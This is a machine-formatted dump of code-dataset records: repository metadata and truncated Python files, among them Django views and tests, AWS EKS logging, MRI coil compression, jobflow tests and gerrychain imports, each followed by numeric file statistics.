'/home/jadoug06/workspace/invest-natcap.permitting/ignore_me/s... | 44.75 | 129 | 0.769088 | 69 | 537 | 5.57971 | 0.492754 | 0.093506 | 0.163636 | 0.21039 | 0.649351 | 0.649351 | 0.649351 | 0.649351 | 0.649351 | 0.649351 | 0 | 0.029851 | 0.126629 | 537 | 11 | 130 | 48.818182 | 0.791045 | 0 | 0 | 0 | 0 | 0.333333 | 0.679702 | 0.649907 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.111111 | null | null | 0.111111 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
aab450edb54fecbaa8f47b8dd83fee30ef31b389 | 2,818 | py | Python | eksupdate/src/ekslogs.py | aws-samples/amazon-eks-one-click-cluster-upgrade | b9fcddfe0acb45a0d400177141603962a9ba322e | [
"MIT-0"
] | 26 | 2021-11-29T17:54:59.000Z | 2022-03-28T10:00:11.000Z | eksupdate/src/ekslogs.py | aws-samples/amazon-eks-one-click-cluster-upgrade | b9fcddfe0acb45a0d400177141603962a9ba322e | [
"MIT-0"
] | null | null | null | eksupdate/src/ekslogs.py | aws-samples/amazon-eks-one-click-cluster-upgrade | b9fcddfe0acb45a0d400177141603962a9ba322e | [
"MIT-0"
] | 2 | 2021-12-03T19:10:54.000Z | 2022-02-08T09:34:57.000Z | import boto3
import time
#commented for enhancements
# def log_creator(regionName,cluster_name):
# logs = boto3.client('logs',region_name=regionName)
# LOG_GROUP = 'cluster-' + cluster_name + '-' + regionName
# LOG_STREAM = cluster_name + '-' + regionName + '-'+'eks-update-logs-streams'
# is_exist_gro... | 32.767442 | 98 | 0.608588 | 284 | 2,818 | 5.757042 | 0.214789 | 0.078287 | 0.122324 | 0.044037 | 0.824465 | 0.824465 | 0.824465 | 0.785321 | 0.785321 | 0.785321 | 0 | 0.008811 | 0.275018 | 2,818 | 85 | 99 | 33.152941 | 0.791483 | 0.311923 | 0 | 0.44898 | 0 | 0 | 0.126239 | 0.011998 | 0 | 0 | 0 | 0 | 0 | 1 | 0.020408 | false | 0 | 0.040816 | 0 | 0.081633 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
aabeac65b7ab2d6b3b2ebad791c71667e44e5c59 | 121 | py | Python | GrADim/__init__.py | cs107-i-m-i-m/cs107-FinalProject | 9b6c0b83cb3f4da7a29973179c3529b829c20c96 | [
"MIT"
] | null | null | null | GrADim/__init__.py | cs107-i-m-i-m/cs107-FinalProject | 9b6c0b83cb3f4da7a29973179c3529b829c20c96 | [
"MIT"
] | null | null | null | GrADim/__init__.py | cs107-i-m-i-m/cs107-FinalProject | 9b6c0b83cb3f4da7a29973179c3529b829c20c96 | [
"MIT"
] | null | null | null | from GrADim.forward_mode import ForwardMode
from GrADim.GrADim import Gradim
from GrADim.reverse_mode import ReverseMode
| 30.25 | 43 | 0.876033 | 17 | 121 | 6.117647 | 0.470588 | 0.288462 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.099174 | 121 | 3 | 44 | 40.333333 | 0.954128 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
2ac634fdccf1c087931eb1cd84282d03e07d6716 | 246 | py | Python | deepr/examples/movielens/layers/__init__.py | drohde/deepr | 672772ea3ce9cf391f9f8efc7ae9c9d438957817 | [
"Apache-2.0"
] | null | null | null | deepr/examples/movielens/layers/__init__.py | drohde/deepr | 672772ea3ce9cf391f9f8efc7ae9c9d438957817 | [
"Apache-2.0"
] | null | null | null | deepr/examples/movielens/layers/__init__.py | drohde/deepr | 672772ea3ce9cf391f9f8efc7ae9c9d438957817 | [
"Apache-2.0"
] | null | null | null | # pylint: disable=unused-import,missing-docstring
from deepr.examples.movielens.layers.loss import BPRLoss
from deepr.examples.movielens.layers.transformer import TransformerModel
from deepr.examples.movielens.layers.average import AverageModel
| 41 | 72 | 0.861789 | 30 | 246 | 7.066667 | 0.566667 | 0.127358 | 0.240566 | 0.367925 | 0.45283 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.065041 | 246 | 5 | 73 | 49.2 | 0.921739 | 0.191057 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
2af5ccf2e682803ae39882c32baea4e080c0299c | 7,620 | py | Python | tests/apps/courses/test_models_course_glimpse_date.py | lunika/richie | b0b04d0ffc0b16f2f1b8a8201418b8f86941e45f | [
"MIT"
] | null | null | null | tests/apps/courses/test_models_course_glimpse_date.py | lunika/richie | b0b04d0ffc0b16f2f1b8a8201418b8f86941e45f | [
"MIT"
] | null | null | null | tests/apps/courses/test_models_course_glimpse_date.py | lunika/richie | b0b04d0ffc0b16f2f1b8a8201418b8f86941e45f | [
"MIT"
] | null | null | null | """
Unit tests for the Course model
"""
from datetime import timedelta
from django.test import TestCase
from django.utils import timezone
from richie.apps.courses.factories import CourseFactory, CourseRunFactory
class CourseRunModelsTestCase(TestCase):
"""
Unit test suite for computing a date to display on ... | 38.291457 | 97 | 0.637402 | 893 | 7,620 | 5.254199 | 0.115342 | 0.07971 | 0.051151 | 0.067136 | 0.835891 | 0.802856 | 0.777067 | 0.76428 | 0.735294 | 0.696505 | 0 | 0.005823 | 0.278871 | 7,620 | 198 | 98 | 38.484848 | 0.848044 | 0.235564 | 0 | 0.607692 | 0 | 0 | 0.035091 | 0 | 0 | 0 | 0 | 0 | 0.169231 | 1 | 0.1 | false | 0 | 0.030769 | 0 | 0.176923 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
630c7f6d05617b51a31a1d2c3f8e9ca321fb9bb4 | 2,467 | py | Python | tf_adapter/python/npu_bridge/tbe/npu_vector_ops.py | Huawei-Ascend/tensorflow | 67979f8cf1acbb6db6b156ee0a15d277571d4a03 | [
"Apache-2.0"
] | 1 | 2021-04-10T03:28:50.000Z | 2021-04-10T03:28:50.000Z | tf_adapter/python/npu_bridge/tbe/npu_vector_ops.py | Huawei-Ascend/tensorflow | 67979f8cf1acbb6db6b156ee0a15d277571d4a03 | [
"Apache-2.0"
] | null | null | null | tf_adapter/python/npu_bridge/tbe/npu_vector_ops.py | Huawei-Ascend/tensorflow | 67979f8cf1acbb6db6b156ee0a15d277571d4a03 | [
"Apache-2.0"
] | null | null | null | # Copyright 2016 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | 51.395833 | 122 | 0.703283 | 344 | 2,467 | 4.906977 | 0.360465 | 0.07109 | 0.030806 | 0.037915 | 0.830569 | 0.819905 | 0.819905 | 0.773697 | 0.773697 | 0.773697 | 0 | 0.024072 | 0.191731 | 2,467 | 48 | 123 | 51.395833 | 0.822467 | 0.518849 | 0 | 0.222222 | 0 | 0 | 0.121972 | 0.052768 | 0 | 0 | 0 | 0 | 0 | 1 | 0.111111 | false | 0 | 0.166667 | 0 | 0.388889 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
632bbf1277465e6aebef60172d464cc29fee75df | 168 | py | Python | apps/employees/models/__init__.py | wis-software/office-manager | 0342d2cf9b3e4779f3e3d2a4faba6768e95047b1 | [
"MIT"
] | 7 | 2017-09-28T11:20:43.000Z | 2020-01-18T23:23:52.000Z | apps/employees/models/__init__.py | wis-software/office-manager | 0342d2cf9b3e4779f3e3d2a4faba6768e95047b1 | [
"MIT"
] | 1 | 2019-03-12T18:16:12.000Z | 2019-03-12T20:17:40.000Z | apps/employees/models/__init__.py | wis-software/office-manager | 0342d2cf9b3e4779f3e3d2a4faba6768e95047b1 | [
"MIT"
] | 7 | 2017-09-27T11:12:25.000Z | 2019-04-04T13:24:01.000Z | from apps.employees.models.position import Position
from apps.employees.models.specialization import Specialization
from apps.employees.models.employee import Employee
| 42 | 63 | 0.875 | 21 | 168 | 7 | 0.380952 | 0.163265 | 0.346939 | 0.469388 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.071429 | 168 | 3 | 64 | 56 | 0.942308 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
2d67917c15b6f46511efe26639a5a027e88251ea | 161 | py | Python | video_production/annotations/team.py | OddballSports-tv/obies-eyes | 2dd4fc9686f852b9adf89edd3246ad642063ac8b | [
"Apache-2.0"
] | null | null | null | video_production/annotations/team.py | OddballSports-tv/obies-eyes | 2dd4fc9686f852b9adf89edd3246ad642063ac8b | [
"Apache-2.0"
] | 1 | 2022-02-19T20:40:44.000Z | 2022-02-19T20:40:44.000Z | video_production/annotations/team.py | OddballSports-tv/obies-eyes | 2dd4fc9686f852b9adf89edd3246ad642063ac8b | [
"Apache-2.0"
] | null | null | null | # imports
from .annotation import Annotation
import cv2
class Team(Annotation):
def _annotate(self, frame, team=None, *args, **kwargs):
return frame | 23 | 59 | 0.714286 | 20 | 161 | 5.7 | 0.75 | 0.280702 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.007634 | 0.186335 | 161 | 7 | 60 | 23 | 0.862595 | 0.043478 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0.4 | 0.2 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 6 |
2d936a5001d4613edc5fe87e1c5821e5e3d5e5f5 | 44,937 | py | Python | inventory/views.py | Kgford/TCLI | fe35abdf6771bcecc6c255b22faa513011ab9b9b | [
"BSD-3-Clause"
] | null | null | null | inventory/views.py | Kgford/TCLI | fe35abdf6771bcecc6c255b22faa513011ab9b9b | [
"BSD-3-Clause"
] | 1 | 2020-08-02T17:13:59.000Z | 2020-08-02T17:13:59.000Z | inventory/views.py | Kgford/TCLI | fe35abdf6771bcecc6c255b22faa513011ab9b9b | [
"BSD-3-Clause"
] | null | null | null | from django import forms
import json
from django.shortcuts import render
from django.http import HttpResponseRedirect
from django.http import JsonResponse
from django.core import serializers
from .forms import InventoryForm
from datetime import date
from django.urls import reverse, reverse_lazy
from equipment.models im... | 61.896694 | 422 | 0.650845 | 5,273 | 44,937 | 5.369619 | 0.051204 | 0.060394 | 0.071166 | 0.039556 | 0.827824 | 0.78855 | 0.758706 | 0.745073 | 0.713746 | 0.678746 | 0 | 0.003301 | 0.224626 | 44,937 | 725 | 423 | 61.982069 | 0.809316 | 0.105793 | 0 | 0.506 | 0 | 0.006 | 0.143264 | 0.007531 | 0 | 0 | 0 | 0 | 0 | 1 | 0.034 | false | 0 | 0.034 | 0.004 | 0.124 | 0.054 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
2da01ac4f3819ce411300e5c956371d10a783cf2 | 39 | py | Python | dskc/io/__init__.py | NovaSBE-DSKC/predict-campaing-sucess-rate | fec339aee7c883f55d64130eb69e490f765ee27d | [
"MIT"
] | null | null | null | dskc/io/__init__.py | NovaSBE-DSKC/predict-campaing-sucess-rate | fec339aee7c883f55d64130eb69e490f765ee27d | [
"MIT"
] | null | null | null | dskc/io/__init__.py | NovaSBE-DSKC/predict-campaing-sucess-rate | fec339aee7c883f55d64130eb69e490f765ee27d | [
"MIT"
] | null | null | null | from dskc.io.util import get_root_path
| 19.5 | 38 | 0.846154 | 8 | 39 | 3.875 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.102564 | 39 | 1 | 39 | 39 | 0.885714 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
2df5b13ea0af85acc49f9bd60510aa46e1372b34 | 7,524 | py | Python | src/utils.py | LombardiDaniel/dcs-nation-skin-unlocker | 943e74108eef25090b9d2b1099195c563bbfdd17 | [
"MIT"
] | 7 | 2021-08-23T20:04:45.000Z | 2022-02-17T15:20:27.000Z | src/utils.py | LombardiDaniel/dcs-nation-skin-unlocker | 943e74108eef25090b9d2b1099195c563bbfdd17 | [
"MIT"
] | 1 | 2022-02-16T22:58:09.000Z | 2022-02-17T02:47:13.000Z | src/utils.py | LombardiDaniel/dcs-nation-skin-unlocker | 943e74108eef25090b9d2b1099195c563bbfdd17 | [
"MIT"
] | 1 | 2022-03-27T00:15:58.000Z | 2022-03-27T00:15:58.000Z | import os
def check_saved_games(saved_games_dcs_dir):
for folder_name in os.listdir(saved_games_dcs_dir):
if folder_name in ('DCS', 'DCS.openbeta'):
return True
return False
class Utils:
def __init__(self):
self.dcs_dir = ''
self.saved_games_dcs_dir = ''
# self... | 43.491329 | 122 | 0.498272 | 750 | 7,524 | 4.754667 | 0.113333 | 0.109927 | 0.121144 | 0.04627 | 0.850252 | 0.810151 | 0.80258 | 0.76332 | 0.748458 | 0.705833 | 0 | 0.001347 | 0.407895 | 7,524 | 172 | 123 | 43.744186 | 0.799102 | 0.022727 | 0 | 0.631579 | 0 | 0 | 0.080627 | 0.012108 | 0 | 0 | 0 | 0 | 0 | 1 | 0.096491 | false | 0 | 0.008772 | 0.008772 | 0.149123 | 0.078947 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
9373c2a64e8bb931ae3aa37f9d2ceee778f035de | 5,538 | py | Python | _unittests/ut_sphinxext/test_todoext_extension.py | Pandinosaurus/pyquickhelper | 326276f656cf88989e4d0fcd006ada0d3735bd9e | [
"MIT"
] | 18 | 2015-11-10T08:09:23.000Z | 2022-02-16T11:46:45.000Z | _unittests/ut_sphinxext/test_todoext_extension.py | Pandinosaurus/pyquickhelper | 326276f656cf88989e4d0fcd006ada0d3735bd9e | [
"MIT"
] | 321 | 2015-06-14T21:34:28.000Z | 2021-11-28T17:10:03.000Z | _unittests/ut_sphinxext/test_todoext_extension.py | Pandinosaurus/pyquickhelper | 326276f656cf88989e4d0fcd006ada0d3735bd9e | [
"MIT"
] | 10 | 2015-06-20T01:35:00.000Z | 2022-01-19T15:54:32.000Z | """
@brief test log(time=4s)
@author Xavier Dupre
"""
import sys
import os
import unittest
from docutils.parsers.rst import directives
from pyquickhelper.loghelper.flog import fLOG
from pyquickhelper.pycode import get_temp_folder
from pyquickhelper.helpgen import rst2html
from pyquickhelper.sphinxext import ... | 27.69 | 114 | 0.498375 | 535 | 5,538 | 4.893458 | 0.203738 | 0.032086 | 0.058824 | 0.106952 | 0.756303 | 0.744461 | 0.734912 | 0.725745 | 0.708938 | 0.668449 | 0 | 0.01383 | 0.399422 | 5,538 | 199 | 115 | 27.829146 | 0.773301 | 0.009751 | 0 | 0.815603 | 0 | 0 | 0.283784 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.028369 | false | 0 | 0.085106 | 0 | 0.120567 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
fa76f83344682464aa866ac9ac2702e7db6b9a16 | 484 | py | Python | htsworkflow/frontend/reports/urls.py | detrout/htsworkflow | 99d3300e2533d79428ad49aaf10b9429b175da2d | [
"BSD-3-Clause"
] | null | null | null | htsworkflow/frontend/reports/urls.py | detrout/htsworkflow | 99d3300e2533d79428ad49aaf10b9429b175da2d | [
"BSD-3-Clause"
] | 1 | 2018-02-26T18:30:05.000Z | 2018-02-26T18:30:05.000Z | htsworkflow/frontend/reports/urls.py | detrout/htsworkflow | 99d3300e2533d79428ad49aaf10b9429b175da2d | [
"BSD-3-Clause"
] | null | null | null | from django.conf.urls import patterns
urlpatterns = patterns('',
(r'^updLibInfo$', 'htsworkflow.frontend.reports.libinfopar.refreshLibInfoFile'),
(r'^report$', 'htsworkflow.frontend.reports.reports.report1'),
(r'^report_RM$', 'htsworkflow.frontend.reports.repo... | 48.4 | 84 | 0.663223 | 47 | 484 | 6.744681 | 0.468085 | 0.299685 | 0.410095 | 0.416404 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.002513 | 0.177686 | 484 | 9 | 85 | 53.777778 | 0.79397 | 0 | 0 | 0 | 0 | 0 | 0.609504 | 0.502066 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.125 | 0 | 0.125 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
fab3b230e9c8415a9b6f8d083fee2b797fefea58 | 65 | py | Python | Model_Explanation/__init__.py | karthi12ck/Model-Explanation | 08822797d12f0598706abae3a65d4fe8d6ee294a | [
"MIT"
] | null | null | null | Model_Explanation/__init__.py | karthi12ck/Model-Explanation | 08822797d12f0598706abae3a65d4fe8d6ee294a | [
"MIT"
] | null | null | null | Model_Explanation/__init__.py | karthi12ck/Model-Explanation | 08822797d12f0598706abae3a65d4fe8d6ee294a | [
"MIT"
] | null | null | null | from Model_Explanaton.Model_Explanation import Model_Explanation
| 32.5 | 64 | 0.923077 | 8 | 65 | 7.125 | 0.625 | 0.561404 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.061538 | 65 | 1 | 65 | 65 | 0.934426 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
87de94a52cc733aaf892fda6010c3ca442764dc9 | 7,149 | py | Python | utils/coilcomp.py | milesgray/CALAE | a2ab2f7d9ee17cc6c24ff6ac370b0373537079ac | [
"Apache-2.0"
] | null | null | null | utils/coilcomp.py | milesgray/CALAE | a2ab2f7d9ee17cc6c24ff6ac370b0373537079ac | [
"Apache-2.0"
] | null | null | null | utils/coilcomp.py | milesgray/CALAE | a2ab2f7d9ee17cc6c24ff6ac370b0373537079ac | [
"Apache-2.0"
] | null | null | null | """Coil compression.
Reference(s):
[1] Zhang T, Pauly JM, Vasanawala SS, Lustig M. Coil compression for
accelerated imaging with Cartesian sampling. Magn Reson Med 2013
Mar 9;69:571-582
"""
import os
import sys
import numpy as np
from mri_util import fftc
def calc_gcc_weights_c(ks_calib, num_virtual_channe... | 35.391089 | 87 | 0.600643 | 1,123 | 7,149 | 3.587711 | 0.127337 | 0.052122 | 0.035741 | 0.031273 | 0.897493 | 0.864731 | 0.820055 | 0.769422 | 0.769422 | 0.720774 | 0 | 0.018519 | 0.26731 | 7,149 | 201 | 88 | 35.567164 | 0.750668 | 0.215135 | 0 | 0.4 | 0 | 0 | 0.081046 | 0.019393 | 0 | 0 | 0 | 0 | 0 | 1 | 0.033333 | false | 0 | 0.033333 | 0 | 0.116667 | 0.066667 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
87f1ca2c8051586c4c21e17fc2a5c86fa8ae9715 | 11,620 | py | Python | tests/managers/test_local.py | arosen93/jobflow | fbd5868394c6f4f6b4f2e0ccf4b7ff7d21fe7258 | [
"BSD-3-Clause-LBNL"
] | 10 | 2021-11-13T07:43:27.000Z | 2022-03-14T11:05:15.000Z | tests/managers/test_local.py | arosen93/jobflow | fbd5868394c6f4f6b4f2e0ccf4b7ff7d21fe7258 | [
"BSD-3-Clause-LBNL"
] | 69 | 2021-08-31T13:15:54.000Z | 2022-03-31T21:43:56.000Z | tests/managers/test_local.py | arosen93/jobflow | fbd5868394c6f4f6b4f2e0ccf4b7ff7d21fe7258 | [
"BSD-3-Clause-LBNL"
] | 5 | 2021-10-17T03:52:57.000Z | 2022-03-31T00:17:20.000Z | import pytest
def test_simple_job(memory_jobstore, clean_dir, simple_job):
from jobflow import run_locally
# run with log
job = simple_job("12345")
uuid = job.uuid
responses = run_locally(job, store=memory_jobstore)
# check responses has been filled
assert responses[uuid][1].output == "1... | 31.923077 | 86 | 0.691652 | 1,565 | 11,620 | 4.959744 | 0.072204 | 0.104612 | 0.066091 | 0.076527 | 0.888817 | 0.849266 | 0.77815 | 0.740273 | 0.684102 | 0.651894 | 0 | 0.047213 | 0.192513 | 11,620 | 363 | 87 | 32.011019 | 0.780028 | 0.109897 | 0 | 0.686916 | 0 | 0 | 0.097037 | 0.00408 | 0 | 0 | 0 | 0 | 0.425234 | 1 | 0.065421 | false | 0 | 0.074766 | 0 | 0.140187 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
e2168844389b9cc08ad416bffa0cedf22fd218f1 | 235 | py | Python | gerrychain/proposals/__init__.py | InnovativeInventor/GerryChain | 4ee30472072b26f86bf6349b5a1dc90412a4acc1 | [
"BSD-3-Clause"
] | 89 | 2018-10-15T21:08:50.000Z | 2022-03-08T02:45:13.000Z | gerrychain/proposals/__init__.py | InnovativeInventor/GerryChain | 4ee30472072b26f86bf6349b5a1dc90412a4acc1 | [
"BSD-3-Clause"
] | 114 | 2018-10-16T04:08:52.000Z | 2022-03-19T05:21:38.000Z | gerrychain/proposals/__init__.py | InnovativeInventor/GerryChain | 4ee30472072b26f86bf6349b5a1dc90412a4acc1 | [
"BSD-3-Clause"
] | 47 | 2018-10-16T03:51:54.000Z | 2022-01-16T17:47:32.000Z | from .proposals import *
from .tree_proposals import recom, reversible_recom, ReCom
from .spectral_proposals import spectral_recom
__all__ = ["recom", "reversible_recom", "spectral_recom", "propose_chunk_flip", "propose_random_flip"]
| 39.166667 | 102 | 0.808511 | 29 | 235 | 6.068966 | 0.413793 | 0.255682 | 0.227273 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.093617 | 235 | 5 | 103 | 47 | 0.826291 | 0 | 0 | 0 | 0 | 0 | 0.306383 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.75 | 0 | 0.75 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
35e758dfad672c97707ca6e23f62ad006f2e0259 | 44 | py | Python | tests/tests/class_var.py | yu-i9/mini_python | d62b9040f8427057a20d18340a27bdf2dfc8c22e | [
"MIT"
] | 2 | 2018-06-22T07:07:03.000Z | 2018-08-03T04:26:43.000Z | tests/tests/class_var.py | yu-i9/mini_python | d62b9040f8427057a20d18340a27bdf2dfc8c22e | [
"MIT"
] | null | null | null | tests/tests/class_var.py | yu-i9/mini_python | d62b9040f8427057a20d18340a27bdf2dfc8c22e | [
"MIT"
] | null | null | null | class Hoge:
x = 42
assert Hoge.x == 42
| 8.8 | 19 | 0.568182 | 8 | 44 | 3.125 | 0.625 | 0.4 | 0.56 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.133333 | 0.318182 | 44 | 4 | 20 | 11 | 0.7 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.333333 | 1 | 0 | false | 0 | 0 | 0 | 0.666667 | 0 | 1 | 1 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 6 |
ea11205c57453ca8c4fc2ab5d99e5aa4df601e8e | 25 | py | Python | Course 1: Programming for Everbody (Getting Started with Python)/Week 3 (First python program)/Hello.py | kunal5042/Python-for-Everybody | ed702f92c963a467ffb682f171ba0bbb1b571726 | [
"MIT"
] | null | null | null | Course 1: Programming for Everbody (Getting Started with Python)/Week 3 (First python program)/Hello.py | kunal5042/Python-for-Everybody | ed702f92c963a467ffb682f171ba0bbb1b571726 | [
"MIT"
] | null | null | null | Course 1: Programming for Everbody (Getting Started with Python)/Week 3 (First python program)/Hello.py | kunal5042/Python-for-Everybody | ed702f92c963a467ffb682f171ba0bbb1b571726 | [
"MIT"
] | null | null | null | print("\nHello World!\n") | 25 | 25 | 0.68 | 4 | 25 | 4.25 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.04 | 25 | 1 | 25 | 25 | 0.708333 | 0 | 0 | 0 | 0 | 0 | 0.615385 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 6 |
ea4fcd59e0733b320b4c7a09fa2ee7dac50a561a | 5,815 | py | Python | tools/add_real_trigger.py | yamengxi/mmsegmentation | 428e782b955fa83df5a55b80a2c50a27f78cddef | [
"Apache-2.0"
] | null | null | null | tools/add_real_trigger.py | yamengxi/mmsegmentation | 428e782b955fa83df5a55b80a2c50a27f78cddef | [
"Apache-2.0"
